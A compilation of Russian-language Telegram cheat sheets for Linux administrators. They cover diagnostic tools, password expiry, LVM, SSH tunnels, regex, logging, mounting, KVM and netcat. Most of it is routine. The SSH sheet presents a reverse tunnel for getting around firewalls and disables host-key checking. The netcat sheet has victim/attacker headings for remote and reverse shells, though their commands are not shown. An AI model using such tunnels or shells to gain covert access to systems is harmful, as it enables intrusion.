Forwarded from Linux
Стандартные инструменты для диагностики системы Linux
Ядро:
*
*
*
* l
*
Ввод/вывод:
*
*
*
*
blktrace
Системные и библиотечные вызовы:
*
*
Аппаратные счётчики:
*
*
Сеть:
*
*
*
*
*
*
*
*
Процессы:
*
*
*
*
Процессор:
*
*
*
Универсальные:
*
*
*
*
*
👉@linuxchmod
Ядро:
*
perf — (в прошлом performance counters for Linux) — доступ к различным внутренним счётчикам ядра; незаменимый инструмент для выполнения профайлинга ядра/операционной системы*
ftrace — трассировщик вызовов функций внутри ядра Linux*
stap — скриптовый язык и инструмент для комплексной диагностики ядра и процессов Linux* l
ttng — (Linux Trace Toolkit Next Generation) инструмент для трассировки ядра, программ и библиотек Linux*
bcc (BPF) — (сравнительно) новый и очень мощный инструмент для трассировки и манипуляции ядром Linux, основанный на Berkeley Packet Filter, позволяет делать космические вещиВвод/вывод:
*
iostat (sysstat) — статистика ввода/вывода по заданному устройству (количество операций записи/чтения в единицу времени, скорость записи/чтения)*
pidstat (sysstat) — нагрузка на процессор, память и устройства от конкретного процесса (заданного по имени или номеру)*
pcstat — использование кэша (какой процент файла попадает в кэш, какой нет)*
lsof — информация об открытых процессом файлахblktrace
Системные и библиотечные вызовы:
*
strace — информация о системных вызовов, выполняемых процессом, позволяет понять или по крайней мере лучше разобраться, почему процесс висит или потребляет много ресурсов*
ltrace — трассировка библиотечных вызовов (которые не обязательно являются системными)Аппаратные счётчики:
*
tiptop — информация о процессах в реальном времени, похожа на top, но в отличие от него данные преимущественно берутся с аппаратных счётчиков*
numastat — просмотр информации об использовании памяти процессами/процессорами в системах с NUMA-архитектуройСеть:
*
netstat — классический инструмент для просмотра конфигурации сети (сокетов, интерфейсов и так далее)*
ss — socket statistics, позволяет получить информацию об открытых сокетах и их состоянии (похожа на netstat, но умеет больше)*
ethtool — просмотр настроек и состояния ethernet-интерфейса*
snmpget — получение данных по SNMP*
lldptool — настройка LLDP и просмотр данных LLDP*
nicstat — статистика использования сетевой карты (сетевого интерфейса)*
ip — конфигурация и статистика стека TCP/IP Linux*
ifstat — статистика использования сетевого интерфейса в реальном времениПроцессы:
*
top — информация о наиболее активных (наиболее ресурсоёмки) процессах + общая информация о системе*
vmstat — данные об использовании виртуальной памяти*
free — информация о свободной памяти, кэше, буферах*
slabtop — информация о заполнении SLAB-кэшаПроцессор:
*
mpstat (sysstat) — общая информация об использовании процессора (одного или всех процессоров)*
turbostat (kernel-tools) — информация о топологии процессора, частоте, питании, температуре*
rdmsr — (Read from Model Specific Register) чтение из моделезависимых регистров (позволяет оценить использование LLC-кэша и прочее)Универсальные:
*
sar — (system activity report) информация о системной активности в реальном времени (диск, память, процессор и так далее)*
dstat — универсальный инструмент для сбора информации о системе (vmstat, iostat, netstat, ifstat и ещё много других в одном флаконе)*
dmesg — журнал сообщений ядра с момента загрузки системы*
/proc — псевдофайловая система предоставляющая доступ к внутренним данным/счётчикам ядра*
sysdig — универсальный инструмент для сбора и анализа данных о системе (сотни различных источников скомбинированные вместе)👉@linuxchmod
Forwarded from Системный администратор
Как заставить пользователя изменить пароль при следующем входе в систему
Существует несколько способов.
Использование команды passwd
Использование команды chage
Срок действия паролей
Будет выведена следующая информация:
Когда пароль был последний раз изменен;
Дата окончания действия пароля;
Сколько дней осталось до окончания действия пароля;
Когда учетная запись пользователя будет закончена (можно, пожалуйста, далее мы будем говорить «заэкспайрится»?)
Минимальное количество дней между итерацией смены пароля;
Максимальное количество дней между итерацией смены пароля;
Заставляем пользователя менять пароль каждые 90 дней
Задаем срок жизни учетной записи (до 12 июня 2023)
Сколько времени на смену пароля?
В примере даем Борису 10 дней на смену пароля с момента как пароль заэкспайрился
Уведомление о смене пароля заранее
Через 25 дней истекает срок годности пароля Бориса
Защищаемся от частой смены паролей пользователя
Минимальное количество дней между сменой паролей
Удалить ограничение в днях
👉 @i_odmin
Существует несколько способов.
Использование команды passwd
sudo passwd --expire [username]Использование команды chage
sudo chage --lastday 0 [username]Срок действия паролей
chage -lБудет выведена следующая информация:
Когда пароль был последний раз изменен;
Дата окончания действия пароля;
Сколько дней осталось до окончания действия пароля;
Когда учетная запись пользователя будет закончена (можно, пожалуйста, далее мы будем говорить «заэкспайрится»?)
Минимальное количество дней между итерацией смены пароля;
Максимальное количество дней между итерацией смены пароля;
Заставляем пользователя менять пароль каждые 90 дней
sudo chage -M 90Задаем срок жизни учетной записи (до 12 июня 2023)
sudo chage -E 2023-06-12 serg
sudo chage -E 2023-06-12 olegСколько времени на смену пароля?
В примере даем Борису 10 дней на смену пароля с момента как пароль заэкспайрился
sudo chage -I 10 borisУведомление о смене пароля заранее
Через 25 дней истекает срок годности пароля Бориса
sudo chage -W 25 borisЗащищаемся от частой смены паролей пользователя
Минимальное количество дней между сменой паролей
sudo chage -m 25 borisУдалить ограничение в днях
sudo chage -m 0 sergey👉 @i_odmin
Forwarded from Системный администратор
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Книги для Системного Администратора
📌 Шпаргалка по управлению LVM (Logical Volume Manager)
📍 Основные компоненты LVM
- PV (Physical Volume) – физический том (жёсткий диск, раздел).
- VG (Volume Group) – группа томов (объединяет PV).
- LV (Logical Volume) – логический том (раздел внутри VG).
🔹 Создание LVM
1️⃣ Создание PV (физического тома)
📌 Размечаем диск как физический том LVM.
2️⃣ Создание VG (группы томов)
📌 Создаём группу томов и добавляем в неё физический диск.
3️⃣ Создание LV (логического тома)
📌 Создаём логический том размером 10 ГБ в группе
🔹 Просмотр информации
📋 Список всех PV, VG, LV
📋 Короткий формат
🔹 Управление LVM
📏 Расширение LV
📌 Добавляем 5 ГБ к логическому тому и расширяем файловую систему.
🔪 Удаление LV
📌 Удаление логического тома.
🔪 Удаление VG
📌 Удаление группы томов.
🔪 Удаление PV
📌 Удаление физического тома.
🔹 Дополнительно
📍 Автоматическое распределение PV в VG
📌 Добавляем новый диск в группу томов.
📍 Сжатие LV (уменьшение размера)
📌 Уменьшаем размер тома до 10 ГБ (осторожно: может привести к потере данных!).
📍 Создание снапшота
📌 Создаём снапшот логического тома.
🔥 Полезные команды
💡 LVM позволяет динамически изменять размеры томов без перезапуска системы!
👉 @i_odmin_book
📍 Основные компоненты LVM
- PV (Physical Volume) – физический том (жёсткий диск, раздел).
- VG (Volume Group) – группа томов (объединяет PV).
- LV (Logical Volume) – логический том (раздел внутри VG).
🔹 Создание LVM
1️⃣ Создание PV (физического тома)
pvcreate /dev/sdX
📌 Размечаем диск как физический том LVM.
2️⃣ Создание VG (группы томов)
vgcreate my_vg /dev/sdX
📌 Создаём группу томов и добавляем в неё физический диск.
3️⃣ Создание LV (логического тома)
lvcreate -L 10G -n my_lv my_vg
📌 Создаём логический том размером 10 ГБ в группе
my_vg.🔹 Просмотр информации
📋 Список всех PV, VG, LV
pvdisplay # Физические тома
vgdisplay # Группы томов
lvdisplay # Логические тома
📋 Короткий формат
pvs # PV
vgs # VG
lvs # LV
🔹 Управление LVM
📏 Расширение LV
lvextend -L +5G /dev/my_vg/my_lv
resize2fs /dev/my_vg/my_lv # Для ext4
xfs_growfs /dev/my_vg/my_lv # Для XFS
📌 Добавляем 5 ГБ к логическому тому и расширяем файловую систему.
🔪 Удаление LV
lvremove /dev/my_vg/my_lv
📌 Удаление логического тома.
🔪 Удаление VG
vgremove my_vg
📌 Удаление группы томов.
🔪 Удаление PV
pvremove /dev/sdX
📌 Удаление физического тома.
🔹 Дополнительно
📍 Автоматическое распределение PV в VG
vgextend my_vg /dev/sdY
📌 Добавляем новый диск в группу томов.
📍 Сжатие LV (уменьшение размера)
umount /dev/my_vg/my_lv
e2fsck -f /dev/my_vg/my_lv
resize2fs /dev/my_vg/my_lv 10G
lvreduce -L 10G /dev/my_vg/my_lv
mount /dev/my_vg/my_lv /mnt
📌 Уменьшаем размер тома до 10 ГБ (осторожно: может привести к потере данных!).
📍 Создание снапшота
lvcreate -L 1G -s -n my_snapshot /dev/my_vg/my_lv
📌 Создаём снапшот логического тома.
🔥 Полезные команды
lsblk # Просмотр разделов
df -h # Проверка занятого места
blkid # Информация о файловых системах
💡 LVM позволяет динамически изменять размеры томов без перезапуска системы!
👉 @i_odmin_book
Forwarded from Книги для Системного Администратора
🔐 Работа с SSH (OpenSSH, ключи, туннели, Port Forwarding)
1️⃣ Подключение по SSH
2️⃣ Генерация SSH-ключей
- Открытый ключ
- Закрытый ключ
3️⃣ Добавление ключа в агент SSH
4️⃣ Копирование ключа на сервер
5️⃣ Конфигурация SSH-клиента (
Файл
Подключение теперь выполняется просто командой:
📡 Проброс портов (Port Forwarding)
🔄 Локальный порт-форвардинг (L)
Перенаправляет локальный порт (
- Теперь локальный
🔄 Удаленный порт-форвардинг (R)
Перенаправляет порт сервера на локальный компьютер (
- Теперь подключение к
🔄 Динамический порт-форвардинг (SOCKS-прокси)
- Теперь можно использовать
🔀 Обход брандмауэров (Reverse SSH-туннель)
Если сервер за NAT или firewall, создаем обратное подключение:
📑 Полезные команды
🔍 Просмотр информации о сервере:
📡 Подключение без выполнения команд (для туннелей):
⏳ Подключение с поддержкой восстановления соединения:
🔒 Ограничение команд пользователя в
🔥 Дополнительные параметры SSH
🔹 Выключение строгой проверки хоста:
🔹 Использование прокси:
🔹 Перезапуск службы SSH:
🔹 Проверка лога SSH:
👉 @i_odmin_book
1️⃣ Подключение по SSH
ssh user@host
ssh -p 2222 user@host # Подключение к нестандартному порту
ssh -i ~/.ssh/id_rsa user@host # Подключение с указанием ключа
2️⃣ Генерация SSH-ключей
ssh-keygen -t rsa -b 4096 -C "your_email@example.com" # Генерация RSA-ключа
ssh-keygen -t ed25519 -C "your_email@example.com" # Генерация Ed25519-ключа (рекомендуется)
- Открытый ключ
id_rsa.pub добавляется на сервер (~/.ssh/authorized_keys). - Закрытый ключ
id_rsa хранится локально. 3️⃣ Добавление ключа в агент SSH
eval "$(ssh-agent -s)" # Запуск агента
ssh-add ~/.ssh/id_rsa # Добавление ключа в агент
4️⃣ Копирование ключа на сервер
ssh-copy-id user@host
cat ~/.ssh/id_rsa.pub | ssh user@host "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys"
5️⃣ Конфигурация SSH-клиента (
~/.ssh/config) Файл
~/.ssh/config позволяет задать настройки подключения:
Host myserver
HostName example.com
User myuser
Port 2222
IdentityFile ~/.ssh/id_rsa
ForwardAgent yes
Подключение теперь выполняется просто командой:
ssh myserver
📡 Проброс портов (Port Forwarding)
🔄 Локальный порт-форвардинг (L)
Перенаправляет локальный порт (
-L local_port:remote_host:remote_port):
ssh -L 8080:127.0.0.1:80 user@host
- Теперь локальный
localhost:8080 перенаправляется на host:80.🔄 Удаленный порт-форвардинг (R)
Перенаправляет порт сервера на локальный компьютер (
-R remote_port:local_host:local_port):
ssh -R 9000:localhost:22 user@host
- Теперь подключение к
host:9000 попадёт на localhost:22.🔄 Динамический порт-форвардинг (SOCKS-прокси)
ssh -D 1080 user@host
- Теперь можно использовать
localhost:1080 как SOCKS-прокси.🔀 Обход брандмауэров (Reverse SSH-туннель)
Если сервер за NAT или firewall, создаем обратное подключение:
ssh -R 2222:localhost:22 user@public-server
ssh -p 2222 localhost # Теперь можно подключаться с public-server обратно
📑 Полезные команды
🔍 Просмотр информации о сервере:
ssh user@host 'uname -a && uptime'
📡 Подключение без выполнения команд (для туннелей):
ssh -N -D 1080 user@host
⏳ Подключение с поддержкой восстановления соединения:
autossh -M 0 -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" -N -D 1080 user@host
🔒 Ограничение команд пользователя в
authorized_keys:
command="/path/to/script.sh",no-agent-forwarding,no-X11-forwarding ssh-rsa AAAAB3...
🔥 Дополнительные параметры SSH
🔹 Выключение строгой проверки хоста:
ssh -o StrictHostKeyChecking=no user@host
🔹 Использование прокси:
ssh -o ProxyCommand="nc -X 5 -x proxyhost:1080 %h %p" user@host
🔹 Перезапуск службы SSH:
sudo systemctl restart sshd # Для systemd
sudo service ssh restart # Для SysVinit
🔹 Проверка лога SSH:
sudo journalctl -u sshd --no-pager | tail -n 20 # Для systemd
sudo tail -f /var/log/auth.log # Для Debian/Ubuntu
sudo tail -f /var/log/secure # Для CentOS
👉 @i_odmin_book
Forwarded from Системный администратор
🔹 Шпаргалка по REGEX для Админов 🔹
📌 Основы
📌 Квантификаторы
📌 Группировка и Альтернация
📌 Классы символов
📌 Якори
📌 Практические примеры
✅ Найти все IP-адреса
✅ Вытащить email-адреса
✅ Проверить номер телефона (формат +7 900 123-45-67)
✅ Найти даты в формате YYYY-MM-DD
🔥 Используйте grep, sed, awk и Perl для работы с REGEX в Linux!
💾 Полезные утилиты:
👉 @i_odmin
📌 Основы
. – любой символ ^ – начало строки $ – конец строки \d – любая цифра (0-9) \w – любая буква или цифра (a-z, A-Z, 0-9, _) \s – пробел, табуляция, перевод строки \b – граница слова \n – перевод строки 📌 Квантификаторы
* – 0 или больше раз (жадный) + – 1 или больше раз (жадный) ? – 0 или 1 раз {n} – ровно n повторений {n,} – n или больше повторений {n,m} – от n до m повторений 📌 Группировка и Альтернация
(abc) – группа (?:abc) – негруппирующая скобка abc|def – abc или def 📌 Классы символов
[abc] – любой символ из списка [^abc] – любой символ, кроме указанных [a-z] – диапазон символов (от a до z) [0-9] – цифры 📌 Якори
\b – граница слова \B – не граница слова ^ – начало строки $ – конец строки 📌 Практические примеры
✅ Найти все IP-адреса
\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b
✅ Вытащить email-адреса
\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b
✅ Проверить номер телефона (формат +7 900 123-45-67)
\+7\s\d{3}\s\d{3}-\d{2}-\d{2}
✅ Найти даты в формате YYYY-MM-DD
\b\d{4}-\d{2}-\d{2}\b
🔥 Используйте grep, sed, awk и Perl для работы с REGEX в Linux!
💾 Полезные утилиты:
grep -E 'regex' file.txt sed -n '/regex/p' file.txt awk '/regex/ {print $0}' file.txt 👉 @i_odmin
Forwarded from Книги для Системного Администратора
📌 Журналы системы и мониторинг
🖥️ Основные инструменты логирования и мониторинга в Linux
📜 journalctl – просмотр логов systemd
🔹
🔹
🔹
🔹
💡 Фильтрация:
🔹
🔹
🔄 logrotate – ротация логов
Файл конфигурации:
Пример настройки ротации:
🔹
🔹
📡 syslog (rsyslog, syslog-ng) – логирование в файлы и удаленно
🔹 Конфиг:
🔹
🔹
🔹
💡 Пример отправки логов на удалённый сервер (rsyslog):
Добавить в
🔹 Перезапуск:
⚙️ dmesg – логи ядра
🔹
🔹
🛠 Полезные команды:
🔹
🔹
📊 Мониторинг логов
🔹
🔹
🔹
💡 Автоматизация: используйте fail2ban, logwatch и Grafana+Loki для анализа логов 🔥
⚡ Сохрани, чтобы не потерять! 🚀
👉 @i_odmin_book
🖥️ Основные инструменты логирования и мониторинга в Linux
📜 journalctl – просмотр логов systemd
🔹
journalctl -f — следить за логами в реальном времени 🔹
journalctl -u nginx — логи конкретного сервиса 🔹
journalctl --since "1 hour ago" — логи за последний час 🔹
journalctl -b -1 — логи предыдущей загрузки 💡 Фильтрация:
🔹
journalctl -p err — только ошибки 🔹
journalctl -k — только сообщения ядра 🔄 logrotate – ротация логов
Файл конфигурации:
/etc/logrotate.conf Пример настройки ротации:
/var/log/nginx/*.log {
weekly
rotate 4
compress
missingok
notifempty
}
🔹
logrotate -d /etc/logrotate.conf — тест без изменений 🔹
logrotate -f /etc/logrotate.conf — принудительная ротация 📡 syslog (rsyslog, syslog-ng) – логирование в файлы и удаленно
🔹 Конфиг:
/etc/rsyslog.conf 🔹
/var/log/syslog — общий системный лог 🔹
/var/log/auth.log — авторизации 🔹
/var/log/kern.log — логи ядра 💡 Пример отправки логов на удалённый сервер (rsyslog):
Добавить в
/etc/rsyslog.conf:
*.* @192.168.1.100:514
🔹 Перезапуск:
systemctl restart rsyslog ⚙️ dmesg – логи ядра
🔹
dmesg | grep -i error — ошибки ядра 🔹
dmesg -T — отображение времени в читаемом формате 🛠 Полезные команды:
🔹
dmesg -H — цветная и структурированная выдача 🔹
dmesg --level=err,warn — фильтр по уровню 📊 Мониторинг логов
🔹
tail -f /var/log/syslog — следить за логами 🔹
grep -i "error" /var/log/syslog — поиск ошибок 🔹
awk '{print $5}' /var/log/syslog | sort | uniq -c | sort -nr — топ источников логов 💡 Автоматизация: используйте fail2ban, logwatch и Grafana+Loki для анализа логов 🔥
⚡ Сохрани, чтобы не потерять! 🚀
👉 @i_odmin_book
Forwarded from Системный администратор
🔧 Автоматическое монтирование дисков в Linux
🔹 1. Определение дисков и разделов
Перед монтированием нужно узнать, какие диски доступны:
🔹 2. Монтирование вручную (для проверки)
🔹 где
Проверить можно командой
Отключение монтирования:
🔹 3. Автоматическое монтирование через
Для автоматического монтирования при загрузке добавьте строку в
👉 Как узнать UUID?
🔹 Формат записи в fstab:
📌 Пример для NTFS (Windows-диски):
🔄 Применение без перезагрузки:
🔹 4. Автомонтирование через systemd (для USB и съемных дисков)
Создаем unit-файл:
Вставляем:
Активируем:
🔹 5. Автомонтирование через udev (динамическое монтирование)
Создаем правило:
Добавляем:
Применяем изменения:
👉 @i_odmin
🔹 1. Определение дисков и разделов
Перед монтированием нужно узнать, какие диски доступны:
lsblk # Показывает структуру дисков и разделов
fdisk -l # Выводит информацию о разметке дисков
blkid # Показывает UUID и метки файловых систем
🔹 2. Монтирование вручную (для проверки)
sudo mount /dev/sdXn /mnt
🔹 где
/dev/sdXn – ваш раздел, /mnt – точка монтирования. Проверить можно командой
df -h.Отключение монтирования:
sudo umount /mnt
🔹 3. Автоматическое монтирование через
/etc/fstabДля автоматического монтирования при загрузке добавьте строку в
/etc/fstab:
UUID=xxxx-xxxx /mnt ext4 defaults 0 2
👉 Как узнать UUID?
blkid | grep /dev/sdXn
🔹 Формат записи в fstab:
<устройство> <точка монтирования> <ФС> <опции> <dump> <pass>
📌 Пример для NTFS (Windows-диски):
UUID=xxxx-xxxx /mnt/ntfs ntfs-3g defaults,uid=1000,gid=1000,dmask=027,fmask=137 0 0
🔄 Применение без перезагрузки:
sudo mount -a
🔹 4. Автомонтирование через systemd (для USB и съемных дисков)
Создаем unit-файл:
sudo nano /etc/systemd/system/mnt-usb.mount
Вставляем:
[Unit]
Description=Монтирование USB
Requires=systemd-fsck@dev-sdb1.service
After=systemd-fsck@dev-sdb1.service
[Mount]
What=/dev/sdb1
Where=/mnt/usb
Type=vfat
Options=defaults,noatime
[Install]
WantedBy=multi-user.target
Активируем:
sudo systemctl daemon-reload
sudo systemctl enable mnt-usb.mount
sudo systemctl start mnt-usb.mount
🔹 5. Автомонтирование через udev (динамическое монтирование)
Создаем правило:
sudo nano /etc/udev/rules.d/99-usb-mount.rules
Добавляем:
ACTION=="add", KERNEL=="sd[b-z][1-9]", RUN+="/bin/mount /dev/%k /mnt/usb"
ACTION=="remove", KERNEL=="sd[b-z][1-9]", RUN+="/bin/umount /mnt/usb"
Применяем изменения:
sudo udevadm control --reload-rules
sudo udevadm trigger
👉 @i_odmin
Forwarded from Системный администратор
🎯 Шпаргалка по регулярным выражениям (RegEx)
Полезно для всех, кто работает с текстом, логами, парсингом или просто хочет стать гуру поиска 🔍
🔤 Символы для сопоставления
⚓ Якоря (позиции в строке)
➕ Квантификаторы (повторы)
🧩 Классы символов
🌀 Группировка и выбор
🛡 Экранирование
🧪 Примеры
📌 Сохрани, чтобы не потерять!
👉 @i_odmin
Полезно для всех, кто работает с текстом, логами, парсингом или просто хочет стать гуру поиска 🔍
🔤 Символы для сопоставления
. — любой символ, кроме перевода строки
\w — буква, цифра или подчёркивание
\W — любой символ, кроме \w
\d — цифра (0–9)
\D — любой символ, кроме цифры
\s — пробельный символ
\S — любой непробельный символ
⚓ Якоря (позиции в строке)
^ — начало строки
$ — конец строки
\b — граница слова
\B — не граница слова
➕ Квантификаторы (повторы)
* — 0 или более раз
+ — 1 или более раз
? — 0 или 1 раз
{n} — ровно n раз
{n,} — от n раз
{n,m} — от n до m раз
🧩 Классы символов
[abc] — один из: a, b или c
[^abc] — любой, кроме: a, b или c
[a-z] — символ от a до z
[0-9] — цифра от 0 до 9
🌀 Группировка и выбор
(...) — захватывающая группа
(?:...) — НЕзахватывающая группа
| — логическое ИЛИ (или то, или это)
🛡 Экранирование
\ — экранирует спецсимвол (например, \. — точка)
🧪 Примеры
\d{3}-\d{2}-\d{4} — формат SSN: 123-45-6789
\w+@\w+\.\w+ — email-адрес
📌 Сохрани, чтобы не потерять!
👉 @i_odmin
Forwarded from Bash Советы
🛡 Проверка SSL-сертификатов с помощью Bash
Иногда нужно быстро проверить срок действия SSL-сертификата удалённого сайта. Вот удобный однострочник на Bash, который покажет дату окончания действия сертификата:
📆 Чтобы получить только оставшиеся дни до окончания:
🔒 Полезно для автоматического мониторинга или проверки перед продлением сертификатов!
👉@bash_srv
Иногда нужно быстро проверить срок действия SSL-сертификата удалённого сайта. Вот удобный однострочник на Bash, который покажет дату окончания действия сертификата:
echo | openssl s_client -servername example.com -connect example.com:443 2>/dev/null \
| openssl x509 -noout -dates | grep notAfter
📆 Чтобы получить только оставшиеся дни до окончания:
end_date=$(echo | openssl s_client -servername example.com -connect example.com:443 2>/dev/null \
| openssl x509 -noout -enddate | cut -d= -f2)
end_ts=$(date -d "$end_date" +%s)
now_ts=$(date +%s)
echo "Осталось дней: $(( (end_ts - now_ts) / 86400 ))"
🔒 Полезно для автоматического мониторинга или проверки перед продлением сертификатов!
👉@bash_srv
Forwarded from Книги для Системного Администратора
Полезные команды Linux. Манипуляции с текстом
#
Вывести содержимое файла, нумеруя выводимые строки
#
Вывести только не четные строки файла
#
Вывести первую и третью колонки. Разделение, по-умолчанию, по пробельным символам или символу табуляции
#
Вывести первую колонку содержимого файла. Разделение, по-умолчанию, по пробельным символам или символу табуляции
#
Сравнить содержимое двух файлов, удаляя строки встречающиеся в обоих файлах
#
Сравнить содержимое двух файлов, не отображая строки принадлежащие файлу file1
#
Сравнить содержимое двух файлов, не отображая строки принадлежащие файлу file2
#
Отобрать и вывести строки содержащие цифровые символы из файла /var/log/messages
#
Отобрать и вывести строки, начинающиеся с сочетания символов "Aug", из файла /var/log/messages
#
Отобрать и вывести строки, содержащие сочетание символов "Aug" из файла /var/log/messages
#
Отобрать и вывести строки, содержащие сочетание символов "Aug", из всех файлов, расположенных в директории /var/log и ниже
#
Объединить содержимое file1 и file2 в виде таблицы с разделителем "+"
#
Объединить содержимое file1 и file2 в виде таблицы: строка 1 из file1 = строка 1 колонка 1-n, строка 1 из file2 = строка 1 колонка n+1-m
#
Сравнить содержимое двух файлов
#
Заменить string1 на string2 в файле example.txt и вывести содержимое
#
Удалить пустые строки и комментарии из файла example.txt
#
Удалить пустые строки и комментарии из файла example.txt
#
Удалить первую строку из файла example.txt
#
Отобразить только строки содержащие string1
#
Удалить строку string1 из текста файла example.txt не изменяя всего остального
#
Удалить пустые символы в конце каждой строки файла example.txt
#
Вывести пятую строку
#
Вывести строки со второй по пятую
#
Заменить последовательность из любого количества нулей одним нулём
#
Вывести отсортированное содержимое двух файлов
#
Вывести отсортированное содержимое двух файлов исключая повторные значения
#
Вывести уникальные значения из отсортированного содержимого двух файлов
#
Вывести только повторяющиеся значения из отсортированного содержимого двух файлов
#
Перевести символы нижнего регистра в верхний
👉 @i_odmin_book
#
cat -n file1Вывести содержимое файла, нумеруя выводимые строки
#
cat example.txt | awk 'NR%2==1'Вывести только не четные строки файла
#
echo a b c | awk '{print $1,$3}'Вывести первую и третью колонки. Разделение, по-умолчанию, по пробельным символам или символу табуляции
#
echo a b c | awk '{print $1}'Вывести первую колонку содержимого файла. Разделение, по-умолчанию, по пробельным символам или символу табуляции
#
comm -3 file1 file2Сравнить содержимое двух файлов, удаляя строки встречающиеся в обоих файлах
#
comm -1 file1 file2Сравнить содержимое двух файлов, не отображая строки принадлежащие файлу file1
#
comm -2 file1 file2Сравнить содержимое двух файлов, не отображая строки принадлежащие файлу file2
#
grep [0-9] /var/log/messagesОтобрать и вывести строки содержащие цифровые символы из файла /var/log/messages
#
grep ^Aug /var/log/messagesОтобрать и вывести строки, начинающиеся с сочетания символов "Aug", из файла /var/log/messages
#
grep Aug /var/log/messagesОтобрать и вывести строки, содержащие сочетание символов "Aug" из файла /var/log/messages
#
grep Aug -R /var/log/*Отобрать и вывести строки, содержащие сочетание символов "Aug", из всех файлов, расположенных в директории /var/log и ниже
#
paste -d '+' file1 file2Объединить содержимое file1 и file2 в виде таблицы с разделителем "+"
#
paste file1 file2Объединить содержимое file1 и file2 в виде таблицы: строка 1 из file1 = строка 1 колонка 1-n, строка 1 из file2 = строка 1 колонка n+1-m
#
sdiff file1 file2Сравнить содержимое двух файлов
#
sed 's/string1/string2/g' example.txtЗаменить string1 на string2 в файле example.txt и вывести содержимое
#
sed '/ *#/d; /^$/d' example.txtУдалить пустые строки и комментарии из файла example.txt
#
sed '/^$/d' example.txtУдалить пустые строки и комментарии из файла example.txt
#
sed -e '1d' exampe.txtУдалить первую строку из файла example.txt
#
sed -n '/string1/p'Отобразить только строки содержащие string1
#
sed -e 's/string//g' example.txtУдалить строку string1 из текста файла example.txt не изменяя всего остального
#
sed -e 's/ *$//' example.txtУдалить пустые символы в конце каждой строки файла example.txt
#
sed -n '5p;5q' example.txtВывести пятую строку
#
sed -n '2,5p' example.txtВывести строки со второй по пятую
#
sed -e 's/00*/0/g' example.txtЗаменить последовательность из любого количества нулей одним нулём
#
sort file1 file2Вывести отсортированное содержимое двух файлов
#
sort file1 file2 | uniqВывести отсортированное содержимое двух файлов исключая повторные значения
#
sort file1 file2 | uniq -uВывести уникальные значения из отсортированного содержимого двух файлов
#
sort file1 file2 | uniq -dВывести только повторяющиеся значения из отсортированного содержимого двух файлов
#
echo 'word' | tr '[:lower:]' '[:upper:]'Перевести символы нижнего регистра в верхний
👉 @i_odmin_book
Forwarded from Книги для Системного Администратора
🖥 KVM: Управление виртуальными машинами из консоли (шпаргалка)
🔧 1. Проверка поддержки виртуализации:
Если результат > 0 — виртуализация поддерживается.
🔧 2. Установка KVM и утилит:
Для CentOS/RHEL:
🔧 3. Проверка запуска демонов:
📂 Основные команды управления ВМ:
📌 Список виртуальных машин:
📌 Запуск ВМ:
📌 Остановка ВМ (корректно):
📌 Жёсткое выключение (аналог выдернуть шнур):
📌 Автозапуск при загрузке хоста:
📌 Удаление ВМ:
📌 Снимок (snapshot):
📌 Восстановление из снимка:
📌 Консоль к ВМ (требуется virtio):
🛠 Создание новой ВМ из образа:
💾 Управление образами:
📌 Создать образ диска:
📌 Проверка и инфо о диске:
🔗 Сетевые настройки:
📌 Список сетей:
📌 Создание мостовой сети (bridge):
Редактировать
📌 Применить изменения:
📎 Полезное:
📌 Список ISO-образов, путь по умолчанию:
📌 Управление пулом хранения:
💡 Советы:
– Используйте
– Изучите
– Используйте
👉 @i_odmin_book
🔧 1. Проверка поддержки виртуализации:
egrep -c '(vmx|svm)' /proc/cpuinfo
Если результат > 0 — виртуализация поддерживается.
🔧 2. Установка KVM и утилит:
sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virt-manager
Для CentOS/RHEL:
sudo yum install qemu-kvm libvirt virt-install bridge-utils virt-manager
🔧 3. Проверка запуска демонов:
sudo systemctl enable --now libvirtd
sudo systemctl status libvirtd
📂 Основные команды управления ВМ:
📌 Список виртуальных машин:
virsh list --all
📌 Запуск ВМ:
virsh start <vm_name>
📌 Остановка ВМ (корректно):
virsh shutdown <vm_name>
📌 Жёсткое выключение (аналог выдернуть шнур):
virsh destroy <vm_name>
📌 Автозапуск при загрузке хоста:
virsh autostart <vm_name>
📌 Удаление ВМ:
virsh undefine <vm_name>
📌 Снимок (snapshot):
virsh snapshot-create-as <vm_name> <snapshot_name>
📌 Восстановление из снимка:
virsh snapshot-revert <vm_name> <snapshot_name>
📌 Консоль к ВМ (требуется virtio):
virsh console <vm_name>
🛠 Создание новой ВМ из образа:
virt-install \
--name vm1 \
--ram 2048 \
--vcpus=2 \
--disk path=/var/lib/libvirt/images/vm1.qcow2,size=20 \
--os-type=linux \
--os-variant=ubuntu20.04 \
--network network=default \
--graphics none \
--console pty,target_type=serial \
--location /iso/ubuntu-20.04.iso \
--extra-args 'console=ttyS0'
💾 Управление образами:
📌 Создать образ диска:
qemu-img create -f qcow2 /var/lib/libvirt/images/vm1.qcow2 20G
📌 Проверка и инфо о диске:
qemu-img info /path/to/image.qcow2
🔗 Сетевые настройки:
📌 Список сетей:
virsh net-list --all
📌 Создание мостовой сети (bridge):
Редактировать
/etc/netplan/*.yaml или /etc/network/interfaces (в зависимости от дистрибутива).📌 Применить изменения:
netplan apply
📎 Полезное:
📌 Список ISO-образов, путь по умолчанию:
/var/lib/libvirt/images/ или /iso/📌 Управление пулом хранения:
virsh pool-list
virsh vol-list default
💡 Советы:
– Используйте
virt-top для мониторинга ВМ в реальном времени.– Изучите
virt-clone для клонирования ВМ.– Используйте
virsh dumpxml и virsh edit для тонкой настройки конфигурации ВМ.👉 @i_odmin_book
Forwarded from Книги для Системного Администратора
🎯 Netcat (nc) — универсальный сетевой инструмент
Может устанавливать TCP/UDP-соединения, сканировать порты, прослушивать соединения и передавать данные между хостами.
🔧 Синтаксис:
📘 Основные опции:
🔍 Сканирование портов и баннерграббинг:
🖥 Удалённая оболочка (Remote Shell):
На сервере (жертва):
На клиенте (атакующий):
🔁 Обратная оболочка (Reverse Shell):
На атакующем хосте:
На жертве:
📥 Передача файлов:
Скачивание:
Загрузка:
💬 Чат:
🎥 Видеопоток:
📦 Сжатие и передача директорий:
Отправитель:
Получатель:
🔐 Шифрование и передача:
Отправка:
Приём:
💽 Клонирование Linux-диска:
Отправитель:
Получатель:
👉 @i_odmin_book
